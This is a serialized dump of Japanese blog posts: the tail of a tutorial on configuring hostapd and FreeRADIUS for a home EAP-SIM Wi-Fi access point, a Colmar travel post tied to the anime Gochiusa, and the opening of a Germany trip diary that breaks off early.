Auth-Type := EAP, EAP-Type := SIM\n EAP-Sim-Rand1 = 0x6d58e5afebffe3f480738f104a74afb8,\n EAP-Sim-SRES1 = 0xbd952f43,\n EAP-Sim-KC1 = 0x610f35c9208e1448,\n EAP-Sim-Rand2 = 0xc22413df2efea1e70197ea58519a72f0,\n EAP-Sim-SRES2 = 0x90f003a1,\n EAP-Sim-KC2 = 0x095001424f8fb62a,\n EAP-Sim-Rand3 = 0x60a5dc16de844884dea914cd41113477,\n EAP-Sim-SRES3 = 0xff0444b3,\n EAP-Sim-KC3 = 0xcff6d25c04ab4474,\n```\n\n\n### 無線LAN APの設定\n\nここはみんな自前の無線LAN環境があると思うので、一例としてEAP-SIM認証が最低限動作するhostapdの構成を記しておきます。\n詳しい設定項目などは、[Hostapd - Gentoo Wiki](https://wiki.gentoo.org/wiki/Hostapd) をご参照ください。\nまた、[WLX 202](https://www.amazon.co.jp/%E3%83%A4%E3%83%9E%E3%83%8F-Yamaha-WLX202-%EF%BC%BB%E7%84%A1%E7%B7%9ALAN%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88%EF%BC%BD/dp/B01D2QBF02/ref=as_li_ss_tl?ie=UTF8&qid=1475994913&sr=8-1&keywords=wlx202&linkCode=ll1&tag=mzyy-22&linkId=367f85f6bf22e56c6ab5521d89450c6d)など、\nお手持ちの無線LAN APで外部RADIUSサーバに対応しているものをお持ちであれば、FreeRADIUSのアドレスの指定とsecretの設定をすることで利用できるでしょう。\n\n\n#### hostapdの設定\n\n必要なツールのインストール`apt-get install hostapd bridge-utils`。\nそして、**/etc/network/interfaces**をこんな感じに。\n\n<script src=\"https://gist.github.com/mzyy94/589e1a1177036df883ae3e91ef0132de.js?file=interfaces\"></script>\n\n<!--\n```\nsource /etc/network/interfaces.d/*\n\nauto lo\niface lo inet loopback\n\nallow-hotplug eth0\niface eth0 inet manual\n\nallow-hotplug wlan0\niface wlan0 inet manual\n\nauto br0\niface br0 inet dhcp\nbridge_ports eth0\n```\n-->\n\nで、**/etc/hostapd/hostapd.conf**をこう。\n\n<script src=\"https://gist.github.com/mzyy94/589e1a1177036df883ae3e91ef0132de.js?file=hostapd.conf\"></script>\n\n<!--\n```\ninterface=wlan0\nbridge=br0\ndriver=nl80211\n\nctrl_interface=/var/run/hostapd\nctrl_interface_group=0\n\nssid=EAP-SIM_AP\n\nhw_mode=g\nchannel=8\n\neap_server=0 # Disable embedded eap server\n\n# WPA2 Enterprise\nwpa=2\nieee8021x=1\nwpa_key_mgmt=WPA-EAP\nrsn_pairwise=CCMP\n\n# RADIUS authentication\nauth_algs=1\nauth_server_addr=127.0.0.1\nauth_server_port=1812\nauth_server_shared_secret=eap-sim\n```\n-->\n\n### 自宅EAP-SIM無線LANアクセスポイントへの接続\n\nあとは`hostapd`を立ち上げて接続するだけ!とお思いでしょうが、残念ならがクライアント側にAPの登録が必要となることがあります。\niOSでは、WPA2 EnterpriseのアクセスポイントをデフォルトでEAP-TLSとして認識し、加えてiPhone/iPad側でEAP-SIMとして接続させる方法がありません。\n立ち上げたAPがEAP-SIM認証であることを教え込むために、構成プロファイルを作成する必要があります。\n\n\n\nmacOSが動く環境をお持ちの方は、[Apple Configurator 2](https://itunes.apple.com/jp/app/apple-configurator-2/id1037126344?mt=12)で上図のように作成するか、\nもしくは*EAP-SIM_AP*向けに作った以下の構成プロファイル(XMLファイル)のAP名を変更したものをiOSデバイスにインストールして準備完了です。\n\n<script src=\"https://gist.github.com/mzyy94/589e1a1177036df883ae3e91ef0132de.js?file=EAP-SIM_AP.mobileconfig\"></script>\n\n最後にお待ちかね、`hostapd /etc/hostapd/hostapd.conf`で起動させて接続してみましょう!\n\n\n```\n$ sudo hostapd /etc/hostapd/hostapd.conf\nConfiguration file: /etc/hostapd/hostapd.conf\nUsing interface wlan0 with hwaddr dc:fb:02:9b:11:ef and ssid \"EAP-SIM_AP\"\nwlan0: RADIUS Authentication server 127.0.0.1:1812\nwlan0: interface state UNINITIALIZED->ENABLED\nwlan0: AP-ENABLED\nwlan0: STA f4:0f:24:ea:95:13 IEEE 802.11: authenticated\nwlan0: STA f4:0f:24:ea:95:13 IEEE 802.11: associated (aid 1)\nwlan0: CTRL-EVENT-EAP-STARTED f4:0f:24:ea:95:13\nwlan0: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1\nwlan0: STA f4:0f:24:ea:95:13 WPA: pairwise key handshake completed (RSN)\nwlan0: AP-STA-CONNECTED f4:0f:24:ea:95:13\nwlan0: STA f4:0f:24:ea:95:13 RADIUS: starting accounting session 57F9E33F-00000000\nwlan0: STA f4:0f:24:ea:95:13 IEEE 802.1X: authenticated - EAP type: 18 (SIM)\n```\n\n## まとめ\n海の仲間は家族だから!\n"]}],[0,{"slug":[0,"2016/12/01/gochiusa-colmar/"],"data":[0,{"title":[0,"コルマールのひと時"],"date":[3,"2016-11-30T15:00:01.000Z"],"image":[0,"/assets/images/2016/12/01/colmar.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Trip"]]],"tags":[1,[[0,"france"],[0,"gochiusa"],[0,"colmar"],[0,"elsass"]]]}],"content":[0,"\nご注文はコルマールですか?\nはい、コルマールです。\nこれは[ごちうさ Advent Calendar 2016 - Adventar](http://www.adventar.org/calendars/1384)の1日目の記事です。\n\nラビットハウスのある街の舞台は所説あり、いくつか挙げられている中でもアルザス地方のコルマールは有名な街です。\n石畳のきれいな街、ココアちゃんが喜んでアルバイトをしそうな雰囲気があるところです。\n\nそんなコルマールに今年の3月半ばにひょっと行ってきました。いわゆる聖地巡礼というやつです。\n移動日も含め2泊3日でコルマールを廻ってきましたが、さすがヨーロッパ、聖地関係なしにきれいな街でした。\nここアルザス地方へ来るのは実は2度目で、5年前にも来たことがあったりします。\nちょうど「ご注文はうさぎですか?」がまんがタイムきららMAXで連載を開始したころですね。\n\nさて、聖地巡礼記は[プロ](https://twitter.com/kivantium)が丁寧に書いてくれるということなので、\n聖地巡礼記とはちょっと離れたコルマールの楽しみ方をご紹介します。\n\n## 目次\n\n\n## コルマールへの往き方\n\nコルマールへは、アルザス地方の都市であるストラスブール、もしくはバーゼルを経由して鉄道を使って訪れることとなります。\nストラスブールへはフランス国外から鉄道で訪れられるほか、バスや飛行機といった手段があります。\n今回の旅行ではドイツはミュンヘンからICE(高速鉄道)を利用してマンハイムまで移動し、そこから高速バスでストラスブールまでやってきました。\nドイツ国内の高速鉄道の予約・購入・利用はDeutche Bahn公式アプリが便利です。\n\n### ICE (Intercity-Express)\n\nドイツ鉄道における新幹線の立ち位置にある高速鉄道です。\nカラーは白を基調とし、赤のラインが入っています。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">さらばミュンヘン (@ München Hauptbahnhof in München, Bayern) <a href=\"https://t.co/0Y4Wnhrrnm\">https://t.co/0Y4Wnhrrnm</a> <a href=\"https://t.co/EMqX9c5owc\">pic.twitter.com/EMqX9c5owc</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708911679980048384\">2016年3月13日</a></blockquote>\n\n指定席と自由席がありますが、日本の新幹線のように指定席車両というものはなく、すきな座席を指定することができます。\n空いている席は基本自由席ですが、指定席として予約されている場合は、席の上に予約区間が表示されてます。\nそういった座席しか空いていない場合は、その区間では予約した人に席を受け渡す形となります。\n予約区間が表示されていないときはほとんどの場合自由席です。一部例外として、機器の故障で予約されていても予約区間が表示されていないことがあるようです。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ドイツの電車は予約区間ランプが付いていない席と、付いていても予約区間外だったら自由に座れる</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709698139230437377\">2016年3月15日</a></blockquote>\n\n旅行シーズン真っ只中や土日前後は指定席をとっておくとよいでしょう。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ICEボックス2等席 <a href=\"https://t.co/jAOUH2ho2L\">pic.twitter.com/jAOUH2ho2L</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708913410956771328\">2016年3月13日</a></blockquote>\n\nボックス席という、通路側に扉があるタイプの半個室もあります。おすすめです。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">いくぜごちうさタウン <a href=\"https://t.co/bV50HJ9eUw\">pic.twitter.com/bV50HJ9eUw</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708915165186682880\">2016年3月13日</a></blockquote>\n\n### IC Bus (Intercity Bus)\n\nドイツ鉄道が運行するバスです。ドイツ西部の街、マンハイムからフランスの中継地点ストラスブールまでをこのバスを利用して往きました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">これに乗るよ (@ Zentraler Omnibusbahnhof (ZOB) in Mannheim, Baden-Württemberg) <a href=\"https://t.co/CjNqzMSLfw\">https://t.co/CjNqzMSLfw</a> <a href=\"https://t.co/Ggrkl53i5s\">pic.twitter.com/Ggrkl53i5s</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708968747810295808\">2016年3月13日</a></blockquote>\n\nドイツ鉄道が運航していることもあって、Deutche BahnのスマホアプリからICEの乗車券と一緒に購入することができるため、楽に安くアルザス地方へ足を運ぶにはもってこいです。\n\nドイツからフランスへと、国境を超える瞬間を眺められるのもICバスの醍醐味です\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">国境超えた <a href=\"https://t.co/7jE2yaIoLx\">pic.twitter.com/7jE2yaIoLx</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708992858682953730\">2016年3月13日</a></blockquote>\n\n\n### TER (Train Express Regional)\n\nフランスに入ったのでここからはフランス国鉄のTERでコルマールへ向かいます。\n世界ブランドのクレジットカードを持っていれば、券売機で切符を購入できます。\nひとつ注意しないといけないのが、切符を買ったら乗車前に駅にある黄色い箱に挿入して時刻印を押すことを忘れないようにすることです。\n日本みたいに改札があるわけではないので、入場時刻の記録をする必要があるのです。\n\n\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"fr\" dir=\"ltr\">I&#39;m at Gare SNCF de Strasbourg-Ville - <a href=\"https://twitter.com/ConnectGares\">@connectgares</a> in Strasbourg, Alsace <a href=\"https://t.co/N6MjVxMWDR\">https://t.co/N6MjVxMWDR</a> <a href=\"https://t.co/HyXgoyi3Cw\">pic.twitter.com/HyXgoyi3Cw</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709009897560662016\">2016年3月13日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ほともかの駅かどうかは知らない <a href=\"https://t.co/pjvC0nd68n\">pic.twitter.com/pjvC0nd68n</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709047530781331456\">2016年3月13日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"fr\" dir=\"ltr\">I&#39;m at Gare SNCF de Colmar - <a href=\"https://twitter.com/ConnectGares\">@connectgares</a> in Colmar, Alsace <a href=\"https://t.co/MDNo3ckh3s\">https://t.co/MDNo3ckh3s</a> <a href=\"https://t.co/KtaYKdqrss\">pic.twitter.com/KtaYKdqrss</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709039024766382084\">2016年3月13日</a></blockquote>\n\n\n## コルマールという街並み\n\nパステルカラーの木組みの建物に石畳と、まさに言葉通り**異国**を感じさせる街です。\n聖地かどうか関係なしに、一度訪れて雰囲気を感じておいて損はないでしょう。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">HDR撮影したコルマール <a href=\"https://twitter.com/hashtag/%E3%83%86%E3%82%A3%E3%83%83%E3%83%94%E3%83%BC%E3%81%A8%E5%B7%A1%E3%82%8B%E3%82%B3%E3%83%AB%E3%83%9E%E3%83%BC%E3%83%AB?src=hash\">#ティッピーと巡るコルマール</a> <a href=\"https://t.co/a0ETjlbczr\">pic.twitter.com/a0ETjlbczr</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709391850843598848\">2016年3月14日</a></blockquote>\n\nちなみにコルマールはうさぎの街ではないですが、イースターの時期に訪れると街にうさぎが現れます。\nどうしてもごちうさの街でうさぎが見たい場合は、イースターを狙うとティッピーに出会えるかもしれませんよ?\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">うさぎがいる! <a href=\"https://twitter.com/hashtag/%E3%83%86%E3%82%A3%E3%83%83%E3%83%94%E3%83%BC%E3%81%A8%E5%B7%A1%E3%82%8B%E3%82%B3%E3%83%AB%E3%83%9E%E3%83%BC%E3%83%AB?src=hash\">#ティッピーと巡るコルマール</a> <a href=\"https://t.co/Mt3FjBktnt\">pic.twitter.com/Mt3FjBktnt</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709383172237164544\">2016年3月14日</a></blockquote>\n\n\n\n## コルマールの料理\n\n旧ドイツ領のアルザス地方なだけあって、ドイツでよく見られるザワークラウトやソーセージなどもポピュラーな郷土料理として提供されています。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ディナー (@ Restaurant La Soi) <a href=\"https://t.co/26PdVBMivs\">https://t.co/26PdVBMivs</a> <a href=\"https://t.co/K80ohHSrHN\">pic.twitter.com/K80ohHSrHN</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709085680392146944\">2016年3月13日</a></blockquote>\n\n基本的にフランス語とやや固いドイツ語でメニューが書かれていますが、たまに英語でかかれていたりします。\nですがほとんどがフランス語で書かれているのみなので、出てくるまでわからないようなドキドキを体験する楽しみ方もできます。\n\n朝食はカフェでゆったりととるのが一番。\n街にはモーニングセットがある店もあるのでくるりと観光ついでにカフェ巡りをしてみてはいかがでしょう。\nちなみに今回訪れたカフェのモーニングセットにはコーヒーのほかにオレンジジュースがついていました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"en\" dir=\"ltr\">I&#39;m at Dussourd in Colmar, Alsace <a href=\"https://t.co/BV4UEnJAiZ\">https://t.co/BV4UEnJAiZ</a> <a href=\"https://t.co/moSuOQKvUo\">pic.twitter.com/moSuOQKvUo</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709319166239571968\">2016年3月14日</a></blockquote>\n\n\nコルマールに来たら押さえておきたい食べ物が、アルザス地方の郷土料理として有名なフラムクーヘンです。\nベーコンとサワークリームと玉ねぎを生地に広げて焼いたそれは、食事によし、おやつによし、酒の肴によしと、\nとても食べやすい逸品です。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"en\" dir=\"ltr\">I&#39;m at La Krutenau in Colmar, Alsace <a href=\"https://t.co/dXVGts2ZeO\">https://t.co/dXVGts2ZeO</a> <a href=\"https://t.co/vq5ptcvKvV\">pic.twitter.com/vq5ptcvKvV</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709418752220262400\">2016年3月14日</a></blockquote>\n\n\n\n## コルマールに往くにあたって\n\n### 治安は悪くない\n\nフランスというと治安が悪い国という印象があるようですが、コルマールは他の都市と比べてもだいぶ治安がいい街です。\n日中は警官やフランス軍が巡回していたのに加え、夜間も人通りの少ないところを選ばなければ明かりもしっかりと点灯していました。\n夕食を外食で済ましてホテルに帰るくらいの道のりであれば、人気がなくなることもなく、特に心配することはないでしょう。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">夜のごちうさタウン <a href=\"https://t.co/z2xQx00XrF\">pic.twitter.com/z2xQx00XrF</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/709115231142846465\">2016年3月13日</a></blockquote>\n\n### ガイドブックを片手に\n\nコルマール観光局がガイドブックを作成してくれています。\n\n[Réservation en ligne de Colmar](https://colmar.ingenie.fr/www-formulaire_documentation-1-UK-1.html)\n\n\n中でもおすすめなのが、コルマールの魅力をぎゅっと詰め込んだこのパンフレット。\nコルマールへ行く予定のある人もない人も目を通しておくと、よりコルマールの良さが知れて行きたくなります。\n\n[アルザスの町々の中でも 最高にアルザスらしいコルマールへ! by Office de tourisme de Colmar - issuu](https://issuu.com/otcolmar/docs/doc_d_appel__ja__web_page)\n\n[\\[PDF\\]](http://colmar.ingenie.fr/documents/documentation/documentation-APPEL16-JA.pdf)\n\n\nまた、コルマールへ行く人にはとても役に立つ観光地図も日本語で用意されています。\n\n[COLMAR 観光地図 \\[PDF\\]](http://colmar.ingenie.fr/documents/documentation/documentation-PLANCOLMAR-JA.pdf)\n\n\n### トイレは有料\n\n日本でも東京駅などで見られるようになってきましたが、基本的にヨーロッパのトイレは有料です。\n外にある公衆トイレも、50セントもしくは1ユーロ、高いところだと2ユーロ入れないと扉が開きません。\n必ず小銭を用意しておきましょう。\nまた、コルマール観光局がトイレマップを作成してくれています。\n\n[COLMAR TOURISME \\| TOILETTES - TOILETTEN - TOILETS](http://colmar.ingenie.fr/documents/documentation/documentation-SANI-UK.pdf)\n\n\n## まとめ\n\nコルマール、いい街。\n"]}],[0,{"slug":[0,"2016/12/03/doitsunotori/"],"data":[0,{"title":[0,"ドイツのトリ聖地巡礼してきた"],"date":[3,"2016-12-02T15:00:01.000Z"],"image":[0,"/assets/images/2016/12/03/IMG_8443.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"Trip"]]],"tags":[1,[[0,"doitsu"],[0,"germany"],[0,"tori"],[0,"600eur"]]]}],"content":[0,"\nこれは[ドイツのトリ Advent Calendar 2016](http://www.adventar.org/calendars/1474)の3日目の記事です。\n\nこんにちは、ドイツが好きです。\n6年前に留学でドイツに行って以来、時間と余裕があるときにドイツへとふらっと出かけています。\nドイツ語検定準一級を持ってる程度にはドイツ語が喋れますし、ドイツでの生活は楽しいものですよ。\nなんていったってビールが安いわうまいわ。ビールを飲みにドイツに行ってもペイできるくらいには安い。\n\nさて、直近では今年3月にドイツへと訪れました。\nもちろん、一番の目的はドイツのトリを見つけに行くことでした。嘘です。\n\nその時のちゃんとした記録を残していなかったので、\n時系列を追いながら振り返りついでにここにまとめておきます。\n\n## 目次\n\n\n## 旅の記録\n\n### 前日譚\n\nとくに話すことはありません。\nドイツへ訪れるにあたって、保険をかけておきました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">これが1500ユーロスられる前 <a href=\"https://t.co/dISrcaV8LU\">pic.twitter.com/dISrcaV8LU</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/706731777998499840\">2016年3月7日</a></blockquote>\n\n日程は11泊でドイツの他にフランスのごちうさタウンにいくということを考えていたくらいです。\nホテルとかは[Booking.com](https://booking.com)で出発前日に予約しました。\n\n\n### 出国 (3/8-3/9)\n\n移動はいわずもがな、飛行機でした。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">俺「出発11:55だし暇だなぁ…」<br>成田空港内アナウンス「日本航空フィンランド行きのMIZUNO Yukiさま、至急94番ゲートまでお越しください」<br>俺(MIZUNO Yuki)「ふぁ?!」</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707392552245178368\">2016年3月9日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">ゲート94についた僕「来ました(まだ搭乗開始してねーじゃねーか)」<br>係員「搭乗券が有効であることを確認します。ー 有効であると確認できました。ゲートが開くまでお待ちください。」</p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707393261158006784\">2016年3月9日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">乗る🛫 (@ NRT - GATE 94 (Terminal 2) in 成田市, 千葉県) <a href=\"https://t.co/LGVedaFNW4\">https://t.co/LGVedaFNW4</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707394069438341120\">2016年3月9日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"da\" dir=\"ltr\">着陸🛬 (at <a href=\"https://twitter.com/HelsinkiAirport\">@HelsinkiAirport</a> (HEL) in Vantaa, Southern Finland) <a href=\"https://t.co/SKi0Sxgg4p\">https://t.co/SKi0Sxgg4p</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707557189548961792\">2016年3月9日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">着陸🛬 (@ München Flughafen &quot;Franz Josef Strauß&quot; (MUC) - <a href=\"https://twitter.com/MUC_Airport\">@muc_airport</a> in München, Bayern) <a href=\"https://t.co/ePqVTqop1Y\">https://t.co/ePqVTqop1Y</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707611102557896704\">2016年3月9日</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">オタクはすぐに飛行機のエンタメシステムをハッキングしようとする <a href=\"https://t.co/rlvTnyO4IZ\">pic.twitter.com/rlvTnyO4IZ</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707565033811632128\">2016年3月9日</a></blockquote>\n\nとりあえず無事にミュンヘン某所のホテルに到着。\n\n### 1日目 (3/10)\n\n<del>ミュンヘンに来ましたが特にやることもなかったので街を観光することにしました。</del>\nこの旅行の一番の目的であるドイツのトリ聖地巡礼をしました。\n\n#### 朝\n\n時差ボケで変な時間に目が覚めたので外をぶらぶらしていたらホテルの裏に城が。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Schloss Nymphenburg in München, Bayern <a href=\"https://t.co/ag7PvbjjBO\">https://t.co/ag7PvbjjBO</a> <a href=\"https://t.co/iMgBNXFFid\">pic.twitter.com/iMgBNXFFid</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707839186603274240\">2016年3月10日</a></blockquote>\n\n朝食もやっているとのことでしたが貴族の朝は遅いのか、AM11:00から開店となっていたため断念。\n\n城のそばのパン屋さんで朝ごはんを食べました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Backspielhaus in München, Bayern <a href=\"https://t.co/tjS0IadxvA\">https://t.co/tjS0IadxvA</a> <a href=\"https://t.co/X5Dh8emquv\">pic.twitter.com/X5Dh8emquv</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707847665057398784\">2016年3月10日</a></blockquote>\n\nこのパン、サイズ感が伝わりませんが、となりのカフェオレが両手で抱えるくらいのサイズなので相当でかいです。でも300円程度とお安い(安い)。\n\n#### 朝(朝食後。だいたい昼)\n\n向かうはオリンピア公園。\n昨年のドイツのトリ Advent Calendarの12月24日の記事を100回くらい読んでいたものの、どの座標にヤツがいるかはさっぱり覚えていなかったので適当に歩いていました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">聖地巡礼 <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> (@ Olympiapark in München, Bayern) <a href=\"https://t.co/V1iGbKdOJJ\">https://t.co/V1iGbKdOJJ</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707869257816797184\">2016年3月10日</a></blockquote>\n\nやつがいる場所は [Blog(Adventar2015/12/24) - Eastern Old Fashion](http://eastern-old-fashion.net/blog/adventar2015_12_24.html) によると\n\n> ドイツ連邦共和国 ミュンヘン郊外 オリンピア湖\n>\n> 座標で言うと48.10261N, 11.33151E\n\nとのことなので、その場所を目指していきます。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">聖地に向かうよ <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> <a href=\"https://t.co/76dyZnrTzy\">pic.twitter.com/76dyZnrTzy</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707870089085726720\">2016年3月10日</a></blockquote>\n\nすると、\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"und\" dir=\"ltr\">!!! <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> <a href=\"https://t.co/W1tjIpuFU9\">pic.twitter.com/W1tjIpuFU9</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707903144907415552\">2016年3月10日</a></blockquote>\n\n\"おった\"\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">高画質版 <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> <a href=\"https://t.co/DBOQLlmBs7\">pic.twitter.com/DBOQLlmBs7</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707909425777020928\">2016年3月10日</a></blockquote>\n\n\nこれはドイツのトリ\n\nやっと出会えました。\n\nそして世界初(?)、ドイツのトリHD動画の撮影に成功しました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">動画 <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> <a href=\"https://t.co/0Qaxdqxa9d\">pic.twitter.com/0Qaxdqxa9d</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/708005516648308737\">2016年3月10日</a></blockquote>\n\n季節によって出現場所が異なるようで、今回はここで発見しました。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">今回はここで発見しました <a href=\"https://twitter.com/hashtag/%E3%83%89%E3%82%A4%E3%83%84%E3%81%AE%E3%83%88%E3%83%AA?src=hash\">#ドイツのトリ</a> <a href=\"https://t.co/oQfWBJbRQx\">pic.twitter.com/oQfWBJbRQx</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707930162403385345\">2016年3月10日</a></blockquote>\n\n#### お昼\n\n次の目的地であるあしゅりー城へと向かいます。\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">マリエンプラッツ、あしゅりー城があるとこ</p>&mdash; レッドアイズ・ブラック弊社 (@Asyley_) <a href=\"https://twitter.com/Asyley_/status/707914411315310594\">2016年3月10日</a></blockquote>\n\nこの情報を頼りにマリエンプラッツに行ってみたものの、あしゅりー城はありませんでした。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"de\" dir=\"ltr\">I&#39;m at Marienplatz in München, Bayern <a href=\"https://t.co/6Qejlz36bK\">https://t.co/6Qejlz36bK</a> <a href=\"https://t.co/9wbtvH0giP\">pic.twitter.com/9wbtvH0giP</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707914219627405312\">2016年3月10日</a></blockquote>\n\n\n#### 食事\n\nこの日のやることリストは消化できたので、ドイツ料理を食べておしまいです。\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">おひるごはん (@ Biergarten am Viktualienmarkt in München, Bayern) <a href=\"https://t.co/6U5SbUEqLp\">https://t.co/6U5SbUEqLp</a> <a href=\"https://t.co/UZmjM6qvtF\">pic.twitter.com/UZmjM6qvtF</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707921133794959361\">2016年3月10日</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" data-lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">白ソーセージとプレッツェル <a href=\"https://t.co/KvA7hbdiOj\">pic.twitter.com/KvA7hbdiOj</a></p>&mdash; はいふり@3日目東v-14a (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/707930342703964160\">2016年3月10日</a></blockquote>\n\n\n### 2日目 